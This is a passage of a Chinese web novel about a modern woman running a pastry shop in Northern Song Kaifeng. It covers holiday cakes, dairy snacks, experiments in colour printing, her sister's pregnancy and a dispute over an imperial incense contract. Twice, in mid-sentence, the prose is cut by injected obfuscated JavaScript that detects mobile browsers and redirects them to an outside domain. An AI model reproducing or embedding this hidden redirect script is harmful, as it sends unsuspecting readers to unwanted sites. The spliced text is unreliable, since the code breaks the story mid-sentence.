关于重阳糕的制作工艺，据孟元老《东京梦华录》记载："以粉面蒸糕遗送，上插剪彩小旗，掺饤果实，如石榴子、栗子黄、银杏、松子肉之类。"具体做法是将糯米粉与粳米粉按一定比例混合，逐层蒸制时夹入豆沙、枣泥等甜馅，并嵌入石榴籽、栗子碎等果料。最终形成的多层蒸糕表面点缀蜜饯、果仁，并插以彩色小旗象征登高望远。 北宋时期的重阳糕制作技艺已发展至鼎盛阶段，吴悦并未刻意改良传统配方。她将创新重点放在栗子糕与延寿饼的研发上，后者是以新鲜菊花入馅的鲜花饼，甫一推出便为东京食客带来视觉和味觉的双重体验。 栗子在重阳节因谐音"利子"而被赋予吉祥寓意。北宋汴京虽已有糖炒栗子这一街头小吃，但栗子糕尚未成为节令专属食品。这一饮食习俗要到元代才逐渐流行。至于鲜花饼，其制作技艺直至明清时期才臻于成熟：将花瓣捣成泥状，拌以糖霜制成馅料，再包裹于酥皮之中烘焙而成。 她不得不承认，中秋期间的月饼确实亏损了。不过石介的来信多少弥补了这份遗憾，信中提到，近期忙于安置灾民，从杜衍处得知吴氏糕点铺赠送的耐饥丸在青州发挥了重要作用，待局势稳定后将向朝廷为其请功。 吴悦倒也释然，荣誉嘉奖固然可喜，更欣慰的是那些粮食也没浪费，确实挽救了无数生命。但是暗下决心，一定要在重阳节中赚回来。 鲜花饼也是经过国人百年精选的经典中式糕点。将花瓣与糖浆共熬，经过三蒸三晒的工艺处理，花香非但未散反而愈发醇厚。她还特意委托熟识的木匠制作了镌刻"延寿"字样的模具，每张酥皮包裹花馅后收口朝下，经木模压制即刻呈现出精美图案，再送入土窑烘焙。 此外，她还用枣泥制成百花酥。用刮板将面团摁圆压薄至约1厘米厚，平均分成六或八等份，预留花心位置后，以拇指与食指将面皮向外捏出花瓣形状，或向内旋转使接面朝上。这款点心与延寿饼搭配成赏花大礼盒，包装采用的是毕昇改良的双色印刷工艺，印有东京城最受欢迎的几种菊花品种插画的礼盒。 延寿饼因名称寓意吉祥且印有"延寿"字样，百花酥又形似绽放的花朵，二者迅速风靡东京城。无论是士大夫群体，因为欣赏菊花的高洁品格；还是妇人与年轻小娘子喜爱糕点的精致花朵造型；或者又是老者和孝子孝女们看重"延寿"的美好寓意，她们吴氏的赏花礼盒均成为京城爆款。就连宫中的妃嫔得知后，也特意命内廷采办前来选购。 ------------------------------------ 顶着炎炎烈日，吴悦每日往返穿梭于家和糕点铺之间。唯有旬休日才能随兄长前往城外庄子，视察毕昇新研发的套色印刷技术得进展，这项技术还未突破多色印刷难题。如此高强度的劳作竟让她原本因试吃糕点新品而圆润的脸颊逐渐消瘦，身形也拔高了不少，和全家最矮的二姐吴绮娘并肩时仅矮半头。 这一残酷事实令吴绮娘陷入深深的沮丧，她埋怨母亲幼时未让自己饮用鲜奶，如今即便进补也于事无补。 刘耘娘却毫不客气地反驳："你小时候连正经饭食都不爱吃，整日只惦记着甜点果脯，从小就又瘦又黑，要怪就怪你那张贪嘴！" 刘耘娘犹未解气，继续数落道："如今又懒得出门，每日清晨等女婿去医局学习，便顺着梯子下到娘家，寻个摇椅在阴凉处躺卧纳凉。现在秋意渐浓，天气转凉，休要再以日头太毒、怕出汗为由躲在家中。不如与妹妹同去郊外自家庄子散心。那庄子毗邻一条小溪，溪石缝隙间能捕捉到银鱼，你妹妹曾见过尺许长的银鱼，还能捡拾鲜活的河蚬呢。" 总的来说，就是一句话，别宅在家里了，该外出透透气了。 吴绮娘也寻思，十月中旬已过，秋老虎的余威渐消，确实该舒展筋骨。于是携吴悦、青枣二人，带着近日通过牙行雇来的苏婆子，一行四人乘坐张阿牛的牛车，前往郊外的吴氏庄园。 一进庄园，吴悦便轻车熟路地先去见杨氏和桂枝。大丫给自己取了新名字"桂枝"，这是她刚刚选定的。因庄园内植有几株桂花树，而没有生存压力的她，首次留意到桂花馥郁芬芳，故而以"桂枝"为名，希望自己也能像桂花一样，虽花朵细小却芬芳远播。小姑娘立志成为一名优秀厨师，梦想有朝一日为吴悦开一家大型酒楼。 吴悦对此是支持的，无论一个十一岁小娘子的梦想何等新奇，她都愿意给予鼓励，即便这与她母亲杨氏希望女儿嫁个好人家、避免再嫁与军汉想法相悖。此刻，她正看着桂枝专注研究羊奶粉的制作工艺——这是吴悦交付给她的最新任务。 桂枝如今已成长为优秀的鲜奶加工师，用鲜奶表层精华提炼出奶皮子，口感醇厚绵密，入口即化。又将酸奶熬煮至半固态后进行脱水处理，手工捏制成块状，经晾晒后形成奶疙瘩。她更倾向于称其为奶豆腐，认为"疙瘩"什么的太难听了，但是耐不住吴悦坚持。 而连此前被忽视的乳清，也被她开发出新品。经发酵、熬煮、冷却、挤压成条并晒干硬化后，制成酸味浓烈的乳条，由于酸味强烈，此物需佐以奶茶食用。吴悦也认不出这是个什么，便以"乳条"名之。这玩意制作繁琐且口感不如奶疙瘩讨喜，她们本来并不在意此物的价值。 但是偶尔一次机会，由于试吃太多甜腻的糕点新品，腹中滞胀难受，吴悦惊喜的发现这乳条似乎能够帮助她消化。 随即命桂枝加大制作量并反复试验，最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701969|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终确认这乳条里大概含有益生菌群，可以促进肠道蠕动。自此，乳条成为她每日午餐后必备的消食零嘴。 这乳条其实就是蒙古族传统食品"熟莫乐"，准格尔旗一带也称"酪丹子"。此物后来更被列入内蒙古非物质文化遗产名录，现代科学研究也证实其富含益生菌与膳食纤维，具有开胃消食的功效。 离开桂枝的小厨房后，吴悦又前往毕昇的工坊。 重阳节礼盒采用的双色印刷技术令吴氏糕点铺大出风头，不少商贾通过关系找到吴父，询问是哪家书坊承接的印务，也想定制同款包装盒。吴悦授意父亲转告来客稍安勿躁——多色印刷技术即将取得突破，届时将开设专营广告印刷业务的商铺。今日她正是为视察毕昇的多色印刷试验而来。 毕昇的思路是将画面分解为数十块小版，通过逐色套印实现渐变效果。 以一朵牡丹为例，需将其拆解为浅红、深红、花蕊黄等五至八块色版。印刷时遵循由浅入深、先墨后色的套印顺序。先印浅红花瓣层，再叠加深红花瓣层。但此工艺存在显著缺陷：仅一朵牡丹便需雕刻八块版，单朵印刷耗时长达半个月。若整幅画作包含多朵牡丹，不仅效率低下，成本亦十分高昂。这种工艺与明代《十竹斋书画谱》首创的"饾版"技术颇为相似，后者印制一幅完整画作需耗时两个月。 吴悦却从中得到启发：后世博物馆常见的滚轮印章仅能单色印刷，而套色印章通过将图案拆解为独立色块，利用多枚印章蘸取不同颜色印泥依次盖印，最终在纸张上合成完整彩色画面。这种工艺的关键在于将图稿分解为可独立着色的区块，而非像毕昇设想的那样将每个图案细节单独制版。 例如她曾参观过苏州博物馆，在那就有给游客打卡的"山塘街套色章"。将画面拆解为六个独立色块，分别制作成六枚印章，依次叠加黄色花朵、蓝色枝叶、灰色建筑等元素。这种工艺需要精确的定位系统，可通过榫卯结构将纸张嵌入固定装置，确保每枚印章的落位精准。印泥则需选用色彩浓重且不渗油的品类，以保证叠加效果纯净不混色。 毕昇认可这个思路，但提出需采用吸水性强的纸张，且油墨必须具备速干特性。 这可是她目前的ssr卡，吴悦叮嘱他一定要劳逸结合，莫要整日困守工坊，同时拜托其夫人李氏多加照料丈夫身体。然后，又大笔甩出二十贯钱供毕昇购置实验材料。 毕昇的四个儿子现在也在庄园，本身他们准备外出务工，但是吴悦却坚持不必如此，待他们父亲印刷技术改良成功，她将会开设书铺，届时可直接入职。目前他们可先着手制作字印与印版，如若需要额外资金，可与常驻此处的路伯说，或直接进城找她。 北宋对民间印刷业管制较为宽松，这也是民间小报盛行的原因，朝廷同时允许私人开设刻书坊。 不过吴悦的书坊并不打算印制小报或宋词、话本等市民文学作品。北宋话本多以爱情婚姻、历史故事、英雄传奇、公案侠义或神仙鬼怪为主题，而她计划将业务重心放在商铺广告宣传画上——通过这类印刷品积累名气与资金后，再逐步拓展至插画寓言故事（如《龟兔赛跑》《牛大爷与四十大盗》《精卫填海》这类奇幻冒险题材的空白）和单人物连环画（如《白蛇传》《聂隐娘》）等女性主导的故事，旨在一网打尽儿童与女性消费群体。 47. 第 47 章 从工坊出来，就看到二姐正蹲在厨房阶前，手持细树枝戳弄木盆里的河蚌。那些刚从溪里捕捞的河蚌被戳得纷纷闭合，两片硬壳碰撞出细碎声响。 "可算出来了！"拍了拍靛青裙裾起身，吴绮娘没好气的埋怨说，"等你吃饭呢，都快饿扁了。" 吴悦指着木盆问："这些河蚌不吃么？" "厨娘说要泡水吐沙，咱们没提前知会，不然她们昨夜就能捞回来静养。"吴绮娘说着，忽然想起什么似的转身，"对了，你让路伯从专业果园移栽的梨树、枣树、柿树都活了。" “那咱们明年就能吃上自家的果子了。”与二姐并肩往饭厅走去，吴悦如数家珍："除了果树，园子里还种了山药、葵菜、白菜和萝卜。路伯还特意请了城郊老圃来指导......" "看到了。"吴绮娘有气无力地应着，这些蔬菜她素来不感兴趣。相较之下，园中的果树更吸引她的目光。 察觉姐姐兴致恹恹、神思倦怠，吴悦暗自揣测，莫不是二姐还在苦夏？她打定主意回城时绕道自家糕点铺，买些吴绮娘爱吃的讨她开心。 二人在圆桌前落座时，路伯已等候多时。因吴悦此前提过想吃溪中银鱼，路伯特意命人捕捞了满满一桶。今日厨娘也格外用心，烹制了三丝银鱼羹与银鱼跑蛋两道佳肴。 她迫不及待舀了半碗银鱼羹，吹散热气便入口品尝。羹体如丝绸般柔滑，银鱼经加热后仍保持着鲜嫩口感，几乎入口即化。复又夹起一块银鱼跑蛋，酥脆的蛋衣被咬碎时发出细微声响。正待夸赞这道菜外脆里嫩、蛋香与鱼鲜交融得恰到好处，忽听苏婆子尖声惊呼："娘子！你怎么了？" 吴悦被这突如其来的惊呼吓了一跳，缓过神来望向身旁的姐姐。只见她正扶着桌沿干呕，面色苍白如纸，眼眶居然隐含泪水。 她怔怔地看看吴绮娘，又瞧瞧面前的银鱼羹，突然脱口而出："姐姐莫不是有喜了？" 吴绮娘本就吐得难受，此刻如遭雷击般僵在当场，双手下意识抚上小腹。苏婆子默默推算着娘子的葵水期，喜形于色道："恭喜娘子，您这怕真是有身孕了！" 路伯二话不说冲出门外，大声吆喝道："快备牛车！快被牛车！"众人簇拥着吴绮娘登上返城的牛车。 直至回到家中，吴绮娘仍神情恍惚地看着母亲与妹妹奔走张罗——刘耘娘一面差人去请附近的医馆里的大夫，一面派人去医局唤杜充回来。祖母则握着她的手，老泪纵横地念叨着"菩萨保佑"。 她想开口告诉祖母大夫尚未诊脉定论，喉咙却像被无形丝线勒住般发不出声音。 没过一会，一位鹤发童颜的大夫背着药箱步入内室。他三指搭在吴绮娘腕间沉吟片刻，忽而起身朝围立四周的女眷们拱手："恭喜府上，这位娘子已有两个月身孕。" 吴绮娘只觉如坠云雾，勉强扯出一丝笑意，机械地向道贺众人颔首致谢。直到杜充跌跌撞撞冲进侧厅，皂纱幞头歪斜欲坠，额前汗珠顺着下颌滚落，她才猛然跌回现实，扑进丈夫怀中放声大哭。 杜充左臂紧紧环住妻子的肩头，右手却颤抖着抚上她的脉搏。三番五次调整指位，才终于稳稳搭在寸口之上。许久，喜色漫过眼底，但是同时，他内心也满是愧疚。来东京这半年，白日在医局研习，夜晚伏案编纂医书，竟疏忽了绮娘身体发生了变化，的确冷落了妻子。 吴绮娘无声垂泪，心中委屈与后怕交织。 杜充是优秀的医者，每晚归家都能看着到他专注编书的侧脸，但是身为医者的丈夫竟未察觉她的身孕，她虽然理解他醉心医术的抱负，但是内心仍难掩被冷落的酸涩。 同时，她也感到后怕——每日爬梯往返娘家、贪食冰酥酪与梅花汤饼，甚至将经期推迟归咎于天气炎热过于贪冰，却不知腹中已悄然孕育生命。 杜充诊完脉，双手轻轻覆上妻子冰凉的手背："是我疏忽了。" 指尖触到她腕间因妊娠初现的滑脉，喉头微微发紧。成婚快四载，他们终于有了自己的孩子，杜充内心激动不已。 刘耘娘见小夫妻执手相看，打算将空间留给他们，用眼神示意吴悦退下，搀扶着吴王氏退至廊下。待安置好婆母回房休息，她才拉着吴悦往庭院走去。 "再过五日，正是你长命禄位供奉满两年的日子。咱们去五岳观添福，顺便带你二姐拜拜南岳殿。当年你大姐难产，若非南岳圣帝显灵......"说到此处，她眼角微润。 吴悦忽想起朱涴妤小姑娘。 上次向她描述五岳观外的糖画、面人等玩意儿，把那孩子羡慕得直跺脚。她转头问母亲："不如问问大姐，要不要带着涴涴一起去？" 话音还没落下，忽见吴丽娘脚步匆匆跨进院门。 刘耘娘诧异地望着长女："你怎知绮娘有喜了？来得这般快，可是路伯差人报信？" 吴丽娘本就愁云满面的脸上闪过一丝喜色："女儿并不知情，是......"话未说完便打算往里面走，"二妹有身孕了？那我得赶紧道贺！" "且慢！"刘耘娘一把拉住她，"你这般慌慌张张，面色又如此难看，莫不是家中出了事？" 她将吴丽娘拽到角落，目光灼灼地逼视着躲闪的长女，"老实说，到底发生了什么？" “今日妹妹大喜，要不，我过几天再来。”吴丽娘犹豫，感觉自己来的不巧了，实在不愿拿坏事搅扰众人的喜悦。 "大姐这是说的什么话？"吴悦见状插话道，"难不成过几日事情就能自行消解？" 吴丽娘脸色刷地一白，这怎么可能，事情只会越拖越糟。 --------------------------------------------------- 原来前几日朱恒被香药局的局史带走，全家上下乱作一团。公婆一面责令仆从严守口风，一面多方托关系打听，至今仍未探明究竟。只知此事与江宁周家有关，就是那个抢去朱家进贡香料差事的周家。他们也多方求见香药局监内司香使，却均被拒之门外。正自一筹莫展之际，昨夜谢家突然差人传信，邀她今日一见。 "谢家？"吴悦插口道，总觉得这姓氏有些耳熟。 "正是给尚服局下设司饰局进贡珠宝首饰的谢家。"吴丽娘欲言又止，终究还是说出实情，"也是当年与官人有婚约的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708028|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那户。" "哦......"吴悦恍然大悟。 此事朱家理亏，吴丽娘每每想起也觉得愧对谢家姑娘。东京城各行业翘楚——诸如皇家专供的油烛、蜜煎、茶酒、布料等行商，历来有联姻传统。你家女嫁我家郎，通过联姻巩固关系，进而把持皇室资源，形成垄断。 但是，六年前，朱恒赴南阳专任香料采购时偶遇大姐丽娘，惊为天人，相思成疾，非卿不娶。彼时他已有婚约在身，未婚妻正是谢家小姐。朱恒茶饭不思几欲寻死，其父母无奈之下只得登门退婚。谢家小姐虽满心委屈，仍大度成全，两家自此相安无事。后来谢小姐也远嫁江宁府，此事便渐渐淡去。 "那你见谢家的人了？"吴悦追问。 事隔多年，谢氏突然邀约，莫非心中仍有旧怨？联想到此次事件涉及的江宁周氏...... 吴丽娘眼圈骤然泛红，泫然欲泣："今早确实见到了，在城西临风楼，见到了谢家如今的当家主母,是谢小姐的母亲。" 她攥紧帕子，声音发颤，"谢氏老夫人说，周氏将百日宴上的事告知司香使，指控朱家香料以次充好。司香使便以此为由羁押官人，想逼迫朱家主动交还御贡凭证。" 皇家专供当然不是香药局一个司香使说换就能换的，这需层层禀告，直达太府寺。 九寺五监作为隋唐至北宋前期中央政府的核心事务机构，与尚书省六部（吏、户、礼、兵、刑、工）形成“六部制定政令，九寺五监具体执行”的分工，承担着具体执行职能。 九寺职能各有侧重：太常寺掌礼仪祭祀，光禄寺司宫廷膳食，卫尉寺管兵器仪仗，宗正寺理皇族事务，太仆寺掌马政畜牧，大理寺主司法刑狱，鸿胪寺司外交接待，司农寺管农业仓储，太府寺则总揽国家财政收支、库藏管理、市场贸易及度量衡规制。 太府寺下设五大机构：左藏库收纳全国赋税钱帛；右藏库典藏四方贡品珍宝；香药库专管香料药材（北宋宫廷年消耗香料超千斤）；市易务调控国内市场贸易；市舶司监管海外通商（如占城、三佛齐香料进口）。 香药库类似一个储存功能，主要职责是接收接收市舶司进口香药，收纳右藏库转来的地方贡品，从御供香料商（原来的朱家，现在的周家）采购原料。每个季度，香药库都会按宫内举行典礼或宴席所需的香品供应以及后宫妃嫔品阶计算出需求量，然后将所需香料移送至香药局，后者就是负责香药的具体分配事宜。也就是说一个负责做菜，一个负责传菜。 作为整个系统中最基层的执行机构，香药局的司香使当然无权收回太府寺颁发的御供凭证，只能通过层层上报，以确凿证据废掉朱家的贡商资格。 朱家百日宴上小儿突发惊厥，坊间是传言与百家衣所用香料有关。但这并不能直接等同于朱家进贡的香料存在问题——香药库在接收御供香料时，需经太医局与惠民局共同派驻的药材官联合核验，质量当然受到保障。 但是司香使收受周家重金后，意图助其取代朱家。她深知手中没有确凿证据，只能迫使朱家主动放弃御供资格。于是，以调查为名羁押朱恒，试图通过施压迫使朱家就范。